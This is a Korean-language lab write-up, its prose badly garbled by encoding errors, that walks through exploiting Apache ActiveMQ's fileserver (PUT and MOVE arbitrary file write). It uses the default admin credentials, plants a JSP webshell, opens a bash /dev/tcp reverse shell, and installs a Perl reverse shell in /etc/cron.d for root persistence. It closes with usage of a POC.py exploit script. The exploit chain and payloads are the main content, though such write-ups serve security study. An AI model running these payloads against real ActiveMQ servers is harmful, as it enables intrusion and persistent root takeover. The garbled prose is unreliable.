Contributors
๋ค์ ๋ช ๋ น์ ์คํํ์ฌ ์ทจ์ฝํ ํ๊ฒฝ์ ๊ตฌ์ถํ๋ค.
docker compose up -d
POC.py ์คํ ์ ์์กด์ฑ์ ์ค์นํ๋ค.
pip install requests
ํด๋น ํ๊ฒฝ์ ํฌํธ 61616๊ณผ ํฌํธ 8161์ ์์ ํ๋ค. 8161ํฌํธ๋ ์น ์ฝ์ ํฌํธ์ด๋ค. 8161ํฌํธ๋ฅผ ํตํด ์น ์ฌ์ดํธ์ ์ ๊ทผํ ์ ์์ผ๋ฉฐ, ํด๋น ์น ์ฝ์์์ ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค.
ํ๊ฒฝ์ด ์ฑ๊ณต์ ์ผ๋ก ์คํ๋๋์ง ๋ณด๊ธฐ์ํด http://your-ip:8161/์ ๋ฐฉ๋ฌธํ์ฌ ํ์ธํ ์ ์๋ค.

ActiveMQ๋ Apache Software Foundation์์ ๊ฐ๋ฐ๋ ์คํ ์์ค ๋ฉ์์ง ๋ธ๋ก์ปค(Message Broker)๋ก ๋ฉ์์ง ์์คํ ์์ ๋ฉ์์ง๋ฅผ ์ค๊ฐํ๊ณ ์ ๋ฌํ๋ ์ญํ ์ ํ๋ค. Java๋ก ์์ฑ๋์์ผ๋ฉฐ, Java Message Service (JMS)๋ฅผ ์ง์ํ์ฌ ๋ค์ํ ์ ํ๋ฆฌ์ผ์ด์ ๊ฐ์ ๋น๋๊ธฐ์ ์ธ ํต์ ์ ๊ฐ๋ฅํ๊ฒ ํ๋ค. ํ(Queue)์ ํ ํฝ(Topic)์ด๋ผ๋ ๋ ๊ฐ์ง ๋ฉ์์ง ์ ๋ฌ ๋ฐฉ์์ ์ง์ํ๋ฉฐ, ํ(Queue) ๋ฐฉ์์ ๋ฉ์์ง๋ฅผ ์์ ๋๊ธฐ ์ค์ธ ํด๋ผ์ด์ธํธ ์ค ํ๋์๊ฒ ์ ๋ฌํ๊ณ , ํ ํฝ(Topic) ๋ฐฉ์์ ๋ฉ์์ง๋ฅผ ์ฌ๋ฌ ๊ตฌ๋ ์์๊ฒ ์ ๋ฌํ๋ ๋ฐฉ์์ด๋ค.
ActiveMQ ์น ์ฝ์์ admin, api๋ฐ fileserver์ ์ธ ๊ฐ์ง ์ ํ๋ฆฌ์ผ์ด์ ์ผ๋ก ๊ตฌ๋ถ๋๋ค. ์ฌ๊ธฐ์ admin์ ๊ด๋ฆฌ์ ํ์ด์ง, api๋ ์ธํฐํ์ด์ค, fileserver๋ ํ์ผ ์ ์ฅ์ ์ํ ์ธํฐํ์ด์ค์ด๋ค. Admin๋ฐ api๋ ์ฌ์ฉํ๊ธฐ ์ ์ ๋ก๊ทธ์ธ์ ํด์ผํ์ง๋ง, fileserver๋ ๋ก๊ทธ์ธ์ ์ํด๋ ์ด์ฉํ ์ ์๋ค. Fileserver๋ RESTful API์ธํฐํ์ด์ค์ด๋ค. GET, PUT, DELETE ๋ฑ์ HTTP ์์ฒญ์ ํตํด ์ ์ฅ๋ ํ์ผ์ ์ฝ๊ณ ์ธ ์ ์๋ค.
ํด๋น ์ทจ์ฝ์ ์ fileserver์ ํ๋ฆฌ์ผ์ด์ ์์ ๋ํ๋๋ค. Fileserver๋ ์์์ ํ์ผ ์ฐ๊ธฐ์ ํ์ผ ์ด๋์ ์ง์ํ์ฌ ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ์ ์ฑ ํ์ผ์ ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ์์น์ ์ฝ์ ํ ์ ์๋ค. ํ์ง๋ง ์น ์์ ์ฝ์ ํ๊ธฐ ์ํด์๋ admin, api ๋ชจ๋ ๋ก๊ทธ์ธ์ ํด์ผ ์ ๊ทผ์ด ๊ฐ๋ฅํ๋ค. Cron๊ณผ ssh key๋ฅผ ์ด์ฉํ์ฌ ๋ฆฌ๋ฒ์ค ์์ ์ง์ ์ ์ผ๋ก ์คํํ ์ ์๋ค. ํ์ง๋ง ๋ฃจํธ ๊ถํ์ด ํ์ํ๋ค๋ ๋จ์ ์ด ์กด์ฌํ๋ค.
ActiveMQ์ FileServer ์๋น์ค๋ฅผ ์ฌ์ฉํ๋ฉด ์ฌ์ฉ์๋ HTTP PUT ๋ฐฉ์์ ํตํด ์ง์ ๋ ๋๋ ํฐ๋ฆฌ์ ํ์ผ์ ์
๋ก๋ํ ์ ์๋ค. PUT์ ๋ฐฑ๊ทธ๋ผ์ด๋ ์ฒ๋ฆฌ๋ฅผ ์ํ ์ฝ๋๋ฅผ ๋ณด๋ฉด localfile์ด๋ผ๋ ํจ์๋ฅผ ํธ์ถํ๋ค.
ํ์ผ์ ์์ฑํ ๋ ๋์ ๊ฒฝ๋ก์ ์ด๋ ํ ์ ํ์ด๋ ํํฐ๋ง์ด ์ ์ฉ๋์ง ์์๋ค.
MOVE ์์ฒญ์ ์ฝ๋์์๋ localfileํจ์๋ฅผ ํธ์ถํ๋ค. move ์์ฒญ ํจ์๋ฅผ ์ดํด๋ณด๋ฉด destination์ด๋ผ๋ ํค๋๋ฅผ ์
๋ ฅ๋ฐ๊ณ destination๊ฒฝ๋ก๋ก ํ์ผ์ ์ด๋ํ๋ค.
์น ์์ admin๋๋ api app์์ ์์ฑํด์ผํ๋ฉฐ, ๋ ์ ํ๋ฆฌ์ผ์ด์
๋ชจ๋ ๋ก๊ทธ์ธ์ ํด์ผ ์ ๊ทผํ ์ ์๋ค.
๊ธฐ๋ณธ ActiveMQ๊ณ์ ๊ณผ ๋น๋ฐ๋ฒํธ๋ admin์ด๋ค.
๋จผ์ http://your-ip:8161/admin/test/systemProperties.jsp ์ ๋ฐฉ๋ฌธํ์ฌ ActiveMQ์ ์ ๋๊ฒฝ๋ก๋ฅผ ํ์ธํ๋ค.
ActiveMQ.home์ด /opt/activemq์ ์์์ ์ ์ ์๋ค.
์ด์ fileserver์ ์์์ ํ์ผ์ ์
๋ก๋ํ๋ค.
fileserver/1.txt์ ์ ์์ ํ์ฌ ์
๋ก๋ํ ํ์ผ์ ํ์ธํ ์ ์๋ค. 204 ์๋ต ์ฝ๋๊ฐ ๋จ๋ฉด ์ฑ๊ณตํ ๊ฒ์ด๋ค.
์ฌ์ฉ์๊ฐ ์ํ๋ ํ์ผ์ ์
๋ก๋ํ ์ ์๋ค๋ ๊ฒ์ ์์์ผ๋ ์น ์์ ์
๋ก๋ํ๋ค.
fileserver/1.txt์ ์ ์ํ์ฌ ์น ์์ด ์ ์
๋ก๋ ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
๊ทธ ํ move๋ก /opt/activemq/webapps/api/webshell.jsp๋ผ๋ ์ด๋ฆ์ผ๋ก ์ด๋์ ํ๋ค.
์
๋ก๋ ํ ํ /api/webshell.jsp์ ์ ๊ทผํ์ฌ ๋ก๊ทธ์ธ์ ์งํํ๋ค.
๋ก๊ทธ์ธ์ ํ๋ฉด ์น ์์ด ๋์์ก์์ ํ์ธํ ์ ์๋ค.
๊ณต๊ฒฉ์ ์๋ฒ์์ ๋ฆฌ์ค๋ ํฌํธ๋ฅผ ์ฐ๋ค.
๊ทธ ํ ์น์์์ ์๋ ๋ช
๋ น์ ์
๋ ฅํ์ฌ ๋ฆฌ๋ฒ์ค ์์ ์๋์ํจ๋ค.
sh -i >& /dev/tcp/your-ip/9999 0>&1
๋ฆฌ๋ฒ์ค ์์ด ์ฐ๊ฒฐ๋ ํ id๋ช
๋ น์ด๋ฅผ ์ํํ์ฌ root๊ถํ์ ํ์ธํ์๋ค.
cron์ ์ด์ฉํ์ฌ ๋ฆฌ๋ฒ์ค ์์ ์๋์ผ๋ก ์คํํ๋๋ก ํ์๋ค. /etc/cron.d/ ๋๋ ํ ๋ฆฌ์ ํ์ผ์ ์ค์ ํ๋ฉด ์๋์ผ๋ก ํด๋น ์์ ์ ์คํํ๋ค. ์ด๋ฅผ ์ด์ฉํ์ฌ ๋ฆฌ๋ฒ์ค์ ์ฝ๋๋ฅผ /etc/cron.d/ ๋๋ ํ ๋ฆฌ์ ํ์ผ ์ ๋ก๋ํ์ฌ ์์ ํ๋ํ ์ ์๋ค. ์ด๊ฒ์ root๊ถํ์ผ๋ก ActiveMQ ์๋ฒ๋ฅผ ์ด์์ ๋๋ง ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค.
perl ๋ช
๋ น์ด๋ฅผ ์ด์ฉํ์ฌ ๋ฆฌ๋ฒ์ค ์์ ๋งค๋ถ๋ง๋ค ์คํํ๋๋ก ํ์๋ค.
PUT /fileserver/1.txt HTTP/1.1
Host: your-ip:8161
Content-Length: 251
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="your-ip";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
cron ์ค์ ํ์ผ์ ์
๋ก๋ ํ ํ move๋ฅผ ์ด์ฉํ์ฌ /etc/cron.d/ ๋๋ ํฐ๋ฆฌ์ ํด๋น ์ค์ ํ์ผ์ ์ด๋ํ๋ค.
destination ํค๋์ ๊ฒฝ๋ก๋ฅผ ์
๋ ฅํ์ฌ /etc/cron.d/rootํ์ผ์ ์ด๋ฆ์ผ๋ก ์ค์ ํ์ผ์ ์ด๋ํ์๋ค.
๊ณต๊ฒฉ์ ํ๊ฒฝ์์ ๋ฆฌ์ค๋ ํฌํธ๋ฅผ ์ด๊ณ ๊ธฐ๋ค๋ฆฌ๋ฉด ๋ฆฌ๋ฒ์ค ์์ด ์๋ํ์ฌ ActiveMQ ์๋ฒ์ root ๊ถํ์ ํ๋ํ ์ ์๋ค.
ActiveMQ ์๋ฒ์ ๋ก๊ทธ๋ฅผ ๋ณด๋ฉด ๋งค ๋ถ๋ง๋ค ๋ฆฌ๋ฒ์ค ์ ์ฝ๋๊ฐ ์๋๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
python3 POC.py -url ์๋๋ฐฉ ์ฃผ์ -lhost ๋ด ip์ฃผ์ -lport ๋ฆฌ์ค๋ํ ํฌํธ
python3 POC.py -url http://your-ip:8161 -lhost your-ip -lport 9999

